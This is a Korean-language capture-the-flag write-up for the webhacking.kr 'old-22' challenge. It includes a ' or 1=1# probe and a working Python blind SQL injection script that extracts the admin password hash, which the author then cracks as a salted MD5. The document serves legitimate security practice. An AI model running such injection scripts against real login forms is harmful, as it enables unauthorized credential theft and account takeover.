webhacking.kr old-22 write-up

문제 첫 화면이다. 배점이 꽤나 있는 만큼 어려울 것이라 예상했지만 21번 문제랑 별 다를게 없었다. 여긴 오히려 친절하게 admin으로 login하고 column name이 id, pw 라는게 주어졌다. 이게 맞지... admin admin으로 로그인해보았지만 당연히 실패. guest guest로 join 한 다음 guest guest를 입력하니

갑자기 password hash값을 알려준다. 해쉬값 길이를 세보니 32자리였다. 32자리하면 딱 md5! 복호화시켜보자.

guestapple이란 값이 나왔다. 내가 입력한 값은 guest였는데 apple이 붙어서 암호화 된것을 알 수있다. 해쉬값을 비밀번호로 입력해보았지만 로그인 되지 않았다. 이걸 왜 준거지...? 일단 문제 푸는 단서가 될 수 있으니 염두해두도록하자.
바로 sql injection을 해보았다. ' or 1=1#

비밀번호를 다르게 쳤을때는 보통 login failed가 뜨는데 injection을 하니 wrong password가 뜬다! 뭔가 먹히는듯 하다. 또 blind injection이 시작된다. 이번에는 21번 문제와 달리 get 방식이 아닌 post 방식으로 넘겨주게 되어있다. 또한 uuid, pw로 name이 설정되어 있다. 파이썬으로 페이로드를 작성했다.

import requests
from urllib.parse import urlparse

params = {}
datalen = 0

for i in range(100):
    url = "https://webhacking.kr/challenge/bonus-2/index.php"
    params['uuid']="admin' and length(pw)="+str(i)+'#'
    params['pw']='123'
    res=requests.post(url, data=params)
    
    if 'Wrong password' in res.text:
        print('find {}'.format(i))
        datalen=i
        break
    else:
        print('failed...')

database = ''
for j in range(datalen):
    for i in range(40,128):
        url = "https://webhacking.kr/challenge/bonus-2/index.php"

        params['uuid']="admin' and ascii(substring(pw,"+str(j+1)+",1))="+str(i)+"#"
        params['pw']='123'
        res=requests.post(url, data=params)
        if 'Wrong password' in res.text:
            print('find {}'.format(chr(i)))
            database += chr(i)
            print(database)
            break
        

결과 값으로 해쉬값이 나온다. 6c9ca386a903921d7fa230ffa0ffc153
이것 또한 역시 32자리 수로 md5 복호화를 돌려보았다.

wowapple이다. 아까 내가 만든 guest계정에도 apple이 붙어있었는데 여기도 붙어있다. 아마도 패스워드는 wow인듯하다. id=admin, pw=wow를 입력해주면

solved!

아주 정석적인 문제였던거 같다. 배점이 낮은 전 문제보다 훨씬 쉬웠다.

좋은 웹페이지 즐겨찾기